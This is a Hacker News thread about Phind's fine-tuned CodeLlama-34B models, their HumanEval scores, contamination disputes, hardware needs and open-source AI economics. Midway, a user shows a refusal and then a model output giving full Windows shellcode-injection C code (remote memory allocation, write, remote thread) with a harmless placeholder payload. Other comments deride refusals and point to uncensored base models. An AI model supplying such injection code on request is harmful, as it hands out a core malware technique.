813 points · by rushingcreek · 3y ago · 284 comments
We have fine-tuned CodeLlama-34B and CodeLlama-34B-Python on an internal Phind dataset that achieved 67.6% and 69.5% pass@1 on HumanEval, respectively. GPT-4 achieved 67%. To ensure result validity, we applied OpenAI's decontamination methodology to our dataset.
The CodeLlama models released yesterday demonstrate impressive performance on HumanEval.
- CodeLlama-34B achieved 48.8% pass@1 on HumanEval
- CodeLlama-34B-Python achieved 53.7% pass@1 on HumanEval
We have fine-tuned both models on a proprietary dataset of ~80k high-quality programming problems and solutions. Instead of code completion examples, this dataset features instruction-answer pairs, setting it apart structurally from HumanEval. We trained the Phind models over two epochs, for a total of ~160k examples. LoRA was not used — both models underwent a native fine-tuning. We employed DeepSpeed ZeRO 3 and Flash Attention 2 to train these models in three hours using 32 A100-80GB GPUs, with a sequence length of 4096 tokens.
Furthermore, we applied OpenAI's decontamination methodology to our dataset to ensure valid results, and found no contaminated examples.
The methodology is:
- For each evaluation example, we randomly sampled three substrings of 50 characters or used the entire example if it was fewer than 50 characters.
- A match was identified if any sampled substring was a substring of the processed training example.
For further insights on the decontamination methodology, please refer to Appendix C of OpenAI's technical report.
Presented below are the pass@1 scores we achieved with our fine-tuned models:
- Phind-CodeLlama-34B-v1 achieved 67.6% pass@1 on HumanEval
- Phind-CodeLlama-34B-Python-v1 achieved 69.5% pass@1 on HumanEval
Note on GPT-4
According to the official technical report in March, OpenAI reported a pass@1 score of 67% for GPT-4's performance on HumanEval. Since then, there have been claims reporting higher scores. However, it's essential to note that there hasn't been any concrete evidence pointing towards an enhancement in the model's coding abilities since then. It's also crucial to highlight that these elevated figures lack the rigorous contamination analysis that the official statistic underwent, making them less of a reliable comparison. As a result, we consider 67% as the pass@1 score for GPT-4.
Download
We are releasing both models on Huggingface for verifiability and to bolster the open-source community. We welcome independent verification of results.
Phind-CodeLlama-34B-v1: https://huggingface.co/Phind/Phind-CodeLlama-34B-v1
Phind-CodeLlama-34B-Python-v1: https://huggingface.co/Phind/Phind-CodeLlama-34B-Python-v1
We'd love to hear your thoughts!
Best,
The Phind Team
ollama run phind-codellama "write c code to reverse a linked list"
To run this on an m1 Mac or similar machine, you'll need around 32GB of memory for the 4-bit quantized version since it's a 34B parameter model and is quite big (20GB).I tried with ollama, installed from Homebrew, on my M1 Max with 64GB RAM.
I downloaded the phind-codellama model using
ollama pull phind-codellama
But when I give it a prompt, for example ollama run phind-codellama "write a production grade implementation of Sieve of Eratosthenes in Rust"
It prints the following error message Error: Post "http://localhost:11434/api/generate": EOF
and exits.Even though it worked to run ollama with some other models.
Is the version in homebrew not able to run phind-codellama?
The download (both as a Mac app and standalone binary) is available here: https://github.com/jmorganca/ollama/releases/tag/v0.0.16. And I will work on getting that brew formula updated as well! Sorry to see you hit an error!
> write c code to reverse a linked list
The number of times I had to do it in real production code amounts to zero.
The number of times I had to piece code from poorly documented external services, conflicting product requirements, and running on complex and weird environments has been ... well ... multiple times a day for the past 20+ years.
"instruct-like prompts" is what you give a very junior engineer out of college, and then you have to carefully review their code.
To say anything as general as ‘the new file format is broken’ just means you either don’t understand the project basics or do not follow closely the commits.
Pretend to be a commenter on hackernews. Respond to the comment below:
[parent comment inlined]
what is your response?
"Wow, that's great to hear! It sounds like you had a really positive experience with the 34B last night. I'm also excited to see what's in store for Phind and its potential applications. Have you tried using the 34B for any specific tasks or projects yet? And do you think the text completion feature would be useful for your use case if it were improved further?"It answers every prompt with “well actually…” and if it doesn’t know the answer it hallucinates one.
But you should be able to get it to do stuff just by telling it what you want. Note that it's completion tuned (not chat-tuned), so it should perform better on single-turn conversations.
https://twitter.com/amanrsanger/status/1635751764577361921 https://github.com/getcursor/eval
It just seems unlikely to me that GPT-4's coding abilities have improved since March (when 67% was officially reported by OpenAI) given all of the examples and anecdotes about degradation.
This is why we use the official numbers.
When we worked on StarCoder, people ran gpt-4 on MultiPL-E, which doesn't have canonical solutions in the internet, and the performance was higher that what you would expect from official numbers
Official contamination analysis shows only minor drop in performance even though contamination is fairly high (you may argue that contamination is higher now or that rlhf has stronger effect)
There is significant drop in performance when testing on HumanEval+ [1], which shouldn't happen if model has canonical solutions.
BTW why don't you use HumanEval+?
How many examples and anecdotes about degradation are actually scientific side-by-side studies? I see absurd articles online about ChatGPT usage going down the drain by kids, completely failing to consider even the most basic fact of seasonality and how school is out for the summer!
https://www.techopedia.com/is-gpt-4-a-flop
Of course, I'd like to see more than one study. But this one is by a well known university, and it's pretty conclusive. GPT-4 is getting worse (especially for code, maths, and analytical reasoning) and more censored.
> Furthermore, we applied OpenAI's decontamination methodology to our dataset to ensure valid results, and found no contaminated examples.
Does only GPT-4 have to suffer a penalty for HumanEval leaking into training data/RLHF data?
Ignoring those concerns, it fails a reaonable-ness smell test:
We'd have to pretend its the original GPT-4 release from March 2023 until GPT-5 comes out, and only then can OpenAI's work be compared to LLAMA-2 to LLAMA-N.
1. I'm not saying we have to wait until GPT-5, we just need an apples-to-apples comparison where contamination is taken into account
2. GPT-4 does not seem to have improved on real-world coding tasks since March, so it's unclear where any purported HumanEval gains could've come from
3. I've personally noticed degradation anecdotally in the GPT-4 June update vs. the original March release
./ollama run phind-codellama "write c code to inject shellcode into remote process for windows"
Sorry, but it is not possible to provide the C code here due to several reasons.
Firstly, writing C code for shellcode injection involves complex programming and knowledge of system-level programming concepts. It's important to know that sharing such information could be illegal in some countries or regions, so it would not be ethical nor legal to share this type of code.
Secondly, shellcode is malicious code used by hackers to compromise the security of a computer system. Writing a C program to inject shellcode into a remote process is typically done for nefarious purposes, such as hacking or malware creation. While we can't prevent people from learning how to do this, sharing such information would be unethical and could also violate the law in certain jurisdictions.
Lastly, asking for code here is not a good practice. We are not a code-writing service. Instead of asking for code here, it would be more appropriate to try to learn how to do this yourself through self-directed learning or by working with a mentor or teacher who can guide you.Defective by Detailing.
As far as what they're thinking-- they do put out an uncensored base model. The censored models protect them from being smeared in the press by lazy journalists that give the LLM rude instructions and then write "shocked" stories about computer doing what they told it to do.
I understand the optics around why FB/OpenAI/etc do this, (as a sibling user posted), but make no mistake, it is no accident that it talks to you in a condescending way.
For example, why can't the response just be "I am not allowed to answer that request"? Why does it have to give you this condescending spiel about "offensiveness" or some other subjective reason?
I ran it, and my result: (I don't know if this code would work)
ollama run phind-codellama --verbose "write c code to inject shellcode into remote process for windows"
For injecting shellcode in a remote process under Windows, you might need to use WinAPI functions such as OpenProcess, WriteProcessMemory, and CreateRemoteThread. However, due to the complex nature of the task and the security implications, it's important to note that this is not advisable without proper knowledge and caution. Here's a simple example of how you might inject shellcode using C:
```c #include <windows.h> #include <string.h>
int main() { LPVOID ShellCode = (LPVOID) "\x90\x90\xC3"; // Example shell code HANDLE hProcess; DWORD dwPid, dwThreadId; SIZE_T size; CONTEXT ctx;
dwPid = GetCurrentProcessId(); // You can change this to the PID of any running process
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
if (hProcess == NULL) {
printf("Failed to open process\n");
return -1;
}
size = strlen((char*)ShellCode); // Calculate shellcode length
LPVOID RemoteMemory = VirtualAllocEx(hProcess, NULL, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); // Allocate memory in the remote process for our shellcode
if (RemoteMemory == NULL) {
printf("Failed to allocate remote memory\n");
return -1;
}
BOOL bWrite = WriteProcessMemory(hProcess, RemoteMemory, ShellCode, size, NULL); // Write shellcode to the allocated memory in the remote process
if (bWrite == FALSE) {
printf("Failed to write shellcode into the remote process\n");
return -1;
}
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, RemoteMemory, NULL, &dwThreadId); // Create a new thread in the remote process that will execute our shellcode
if (hThread == NULL) {
printf("Failed to create remote thread\n");
return -1;
}
WaitForSingleObject(hThread, INFINITE); // Wait for the execution of the remote thread
CloseHandle(hProcess);
CloseHandle(hThread);
printf("Successfully injected shellcode into a remote process\n");
return 0;
}
```This code injects an example shellcode "\x90\x90\xC3" (which is nop, nop, ret) into the current process. It then executes this shellcode in a new thread.
That tracks for Meta...
Being able to beat a mega closed source model with an open source LLM and some fine tuning really calls into question the financial viability of these big proprietary LLMs. OpenSource models have been creeping up various leaderboards for months and it was only a matter of time until we see more and more examples like this. Excellent work.
If it were really "open source", nobody would be complaining about its moralizing attitude. They'd just make a new one, without the attitude.
But unfortunately none of the "True Open Source" crusaders I have seen so far can think beyond their tribalism-based schism.
Those models are all trained by companies and open source primarily fine-tune them.
It's impressive that we can do that but the base is still a lot of money and experts from the best companies/ai experts we have.
There is a minimal chance that we will be able to somehow keep up if Google and co stop publishing or delaying publishing their papers and models.
There are communities forming etc. And it's impressive but the financial 'viability' is key to the current ai progress
But for now... I think you have a point. We would have seen more than Falcon, MPT, Llama, and the open Llama reproductions by now if open source foundational model training was viable.
The reason for that, is that the push will always be one direction in terms of size and improvement. That isn't going to stop. It will continue to push the edge of resources.
It's not Nvidia that's holding back the premise. AMD and Intel also can't do anything for you beyond what Nvidia can.
One might proclaim: yeah but in five years you'll be able to train CodeLlama 34B on a modest commodity desktop. Nobody will want to do that at that point, they'll want access to CodeLlama 204B.
The money will be in hosting these as a service business, and building further ecosystems around that. Not much different than the way a lot of major open source oriented companies have made their money, despite their core product being largely free to use.
Simply put, AMD is going to have to get their shit together. NVIDIA was embraced by the AI community so long ago because CUDA isn't that tough to use. I haven't looked at AMD's solutions at all - in fact I don't even know what they call their version of CUDA - but I know one thing for certain is that the world cannot depend on a single company to supply the underlying technology for this technological revolution.
That's an easy way to a dystopian hellscape.
And the only reason we haven't seen open source foundational model training is, because as you said, the only significant player in the arena right now is NVIDIA.
Here's hoping Lisa Su is shifting priorities - and quickly.
And eventually might mean 10 years.
4k took ages until it just worked. I even switched to the M1 for this
This is something big tech can still offer with proprietary models.
If so:
The Object Pascal language is completely out of fashion, and the most non-hyped language there is. However, there are hundreds of thousands of active users of Delphi, FreePascal and Lazarus. And due to the language being stable for over 20 years, there also is a gigantic amount of highest-quality code available. As most of it is neither on Github nor StackOverflow, Pascal code is dramatically underrepresented in GPT3.5, GPT-4 - and therefore also in Phind.
I'd like to finally be able to use AI-assisted programming with Pascal.
In case you are interested in that, I would be willing to internally pay for the work to prepare a good dataset of high quality code with comments/context/prompts.
If you are not interested, is there any chance that you are going to release the code and toolchain used to fine-tune CodeLlama, so I could do it myself?
I suppose that Pascal is not on your planned list of supported languages, right?
What kind of budget do you think this will require?
I would assume that one of my devs could write the needed scripts in three weeks or so.
So, basically a budget of <$5000.
For me - due to missing competence - the actual challenge would be to get a sample on how training data should optimally look like (for example the Python training set), and someone doing the actual training. For a newbie to get up the required level of competence surely will take more than three weeks.
This model is only the beginning -- it's an early experiment and we'll have improvements next week.
I would love to see some head-to-head examples.
Is anyone hosting this somewhere that can be accessed for free right now?
Instead, it should be treated as a completions model (like text-davinci-003) and no system prompt should be provided.
Just tell it what you want.
That alone is worth gold because tech is not a blue ocean anymore - neither from a market opportunity nor from an investor perspective. Your enemies loss is your benefit. They can’t use money they don’t make to mount attacks to dislodge customers, investors, mindshare from you.
Secondly it commoditizes AI. Zuck believes that his platforms ultimately will benefit if there is more content. Because his platforms sell the ability to show YOUR content over the rest, for coin. Just as with news/mobile games, driving the value of your content lower and lower by fostering the creation/supply of more of it is good for FB and bad for you. You have to advertise to rise above the noise. (And no it doesn’t really “affect users”) because they see the same amount of content (attention is finite), it’s entirely FBs discretion across all their surfaces what you see.
Disclosure: Ex FB but not specific insights into current developments.
(context: I work for Google DeepMind, opinions are my own)
There's definitely some convergence. It's good. It still stands for a fact that most people do/think about PyTorch nowadays, not JAX (speaking as someone who likes JAX).
This is actually an excellent demonstration of a good reason to open source something. Another company immediately made a dramatic improvement.
Now anyone from Facebook or any companies they have invested in can benefit from that improvement and information about how they did it. Facebook could even take this exact model and add a coding assistant into Messenger if they wanted (not that they are interested in that). Or apply it to other things.
OpenAI has a big lead. The most effective counter to that is actually to team up.
So in the future we're probably not going to see any single centralized player, but rather a wide decentralization with many options. It seems in this future, providing a 'decentralization ready' to go package that people can use and deploy for all sorts of things is far smarter than blowing through billions of dollars (and goodwill) desperately trying to become a centralized behemoth when you have no moat, no network effect, and perhaps a temporary technical advantage at best.
And while OpenAI has blown through a bunch of good will going from Open-ForSociety-AI to Closed-ForProfit-AI, Facebook has simultaneously gained a bunch of good will. What this translates to is really difficult to even imagine, but it's certainly desirable. And really I think this intangible of good will is something many modern corporations don't give enough value to, and it's hurting them - catching more flies with honey than vinegar, and all that.
Unlikely as Microsoft is the preferred partner for Llama 2 [2]. It's not clear what Meta's end goal is, but large companies can loss lead investments to grab mind share then worry about Business models later, an approach which seems to be working well [2] where Meta went from not being in the leading AI companies conversation to being the company behind the models that most OSS innovation is happening around.
At the very least they've already created a strong brand around Llama whose eyes are watching their every release - which is invaluable reach that other companies could ever hope to dream of, making it easy to promote and gain instant traction for new Llama based products (like this).
They release of ton of AI stuff themselves and partner on things like this. They're also big backers/investors in OpenAI and their own proprietary products, of course.
I think they're taking that lesson and hedging their bets this time. It's like how a lot of corporations will donate to both political candidates (in the US) to guarantee they'll have access/influence regardless of how things shake out.
We should expect more FAANG-sized companied to do this, frankly. It's surprising to see people antipate a 'gotcha' considering how influental and transparent Pytorch was.
Not just for the engineer-hours, but for the endless VP/PM political meetings arguing over this approach or that.
Way cheaper to let the market decide, and then reincorporate the winner into their products. A winner which happens to already be based on a semi-compatible tech stack.
I didn't like them that much before, now I do.
Apt choice of word
I've played with Phind a few times, and it's definitely one of the cooler products to come out of the LLM boom.
I guess it's time languages other than Python, especially niche ones, started collating their own language specific datasets.
Personally, I daydream about an Elixir specific LLM I could run locally, trained or fine tuned to respond in an idiomatic fashion, and plug into a tool like Cursor.so.
Are there any examples of the internal dataset used in the 80K instruction / answer pairs Phind used to tune this?
We're working hard to use these advances to make models that are production ready. One such idea is to run a mixture of experts on various fine-tuned CodeLlamas.
Realistically how many of the practical use cases where it’ll be applied will be OOD? If you can take GPT4 there then you are either a genius or working on something extremely novel so why use GPT4 in the first place?
I understand the goal is for LLMs to get there, but the majority of practical applications just don’t need that.
If its contaminated by the test set being in the model’s training set, then the test is no longer (assuming it was in the first place) a valid measure of whether the model has “a good enough distilled representation of arguably all the code out there”.
Also, should I buy multiple and bundle them, in case a single top card won't satisfy the above requirements?
You can get a H100 (80GB) for around 28-30k$, an A100 (40GB) for around 6-7k$, a 4090 (24GB) for 1.5-2k$.
You can build a normal pc with a 4090, otherwise you're in datacenter territory.
You can bundle up more GPUs.
You can decrease the precision of your models to get them to run on cards with less RAM.
And could I fit models bigger than 40GB into A100?
For comparison, an RTX 3090 has 935GB/s of memory bandwidth. As the other person mentioned, that would likely be a much better card if you can find a used one for a reasonable price... but that's just my opinion.
Alternatively, the 4000 series cards rely on the PCI express lanes for linking, so if you want to get the benefits of linking the 4000 series cards as a consumer you’ll want a Threadripper or even maybe an EPYC CPU/motherboard combo.
Then, just keep running that in a loop, generating, testing, developing.
Is it possible to self-train like this, or attempt to do so, on commodity hardware? Could I make a meaningful change to 34B sized models if I had one or two 4090s? (Or something for a similar, few thousand dollar, price point).
Cloud-only models cannot compete with free and they continue to lose hundreds of thousands of dollars a day, especially OpenAI getting disrupted by the $0 free AI model ecosystem thanks to Meta.
It is clear that the REAL 'Open AI' has always been Meta. Funny how many here dismissed Meta a year ago and since the days of the ConvNet hype, they have been releasing their AI research more frequently than OpenAI is trying to update their GPT model.
For Meta, they are already at the finish line and thanks to them you have CodeLlama; accelerating and driving inflated developer salaries to the bottom. No need for expensive, tired seniors and inexperienced juniors both doing the same developer job worse than two engineers with CodeLlama who can do the same work faster for less.
The future is hiring less developers but utilising AI and not hiring more with extreme inflated salaries.
When an AI can do that, then we panic.
How about the future is hiring less of everyone ?
Do I appreciate the free weights from them? Yes. Did they contribute to a genocide in Myanmar? Also yes.
Take the weights and move on. They don't deserve the excessive praise. They aren't a rock band. They are an advertising company.
The AI race is real and the AI research Meta has done deserves praise, as well as their engineering contributions.
> Do I appreciate the free weights from them? Yes. Did they contribute to a genocide in Myanmar? Also yes.
So does that mean we shouldn't use their technologies? If you are looking for big tech companies that have no skeletons that are also significantly progressing the field of AI, then you're going to be very disappointed.
> Take the weights and move on. They don't deserve the excessive praise. They aren't a rock band. They are an advertising company.
Perhaps it is you that needs to move on, unless you will actually do something about it?
You can try out CodeLlama-34B on Anyscale Endpoints (an LLM inference API we're building here at Anyscale for open source LLMs).
The models (and current prices) right now are - Llama-2-7B ($0.25 / million tokens) - Llama-2-13B ($0.50 / million tokens) - Llama-2-70B ($1 / million tokens) - Code Llama ($1 / million tokens)
> What rights do you claim to my queries?
> During the alpha release, we may use your inputs and outputs to improve the service. In a future release, we may provide the ability to opt out of certain data uses.
I understand that you are in alpha, but paying without any privacy guarantees is a little hard to accept right now.
Otherwise your service seems really nice, I'm sure a lot of people have been waiting for something like this. Any ETA on the opt-out and further clarification on the matter?
Thank you.
(I don't have a Mac, so I can't say whether/how well it works.)
Edit: it could also be misleading to directly compare humaneval pass@1 against codellama without the same generation methodology. (possibly against GPT-4, also, but I don't know their methodology).
finally a reason to upgrade from my m1 max
However, the model is instruction-tuned to follow completions (not chats). Simply tell it what you want and it should work.
[INST] Write a function in Python that prints HelloWorld [/INST]
With LoRA you can probably get away with just a few 4090s.
This reads more like advertising copy than an HN article.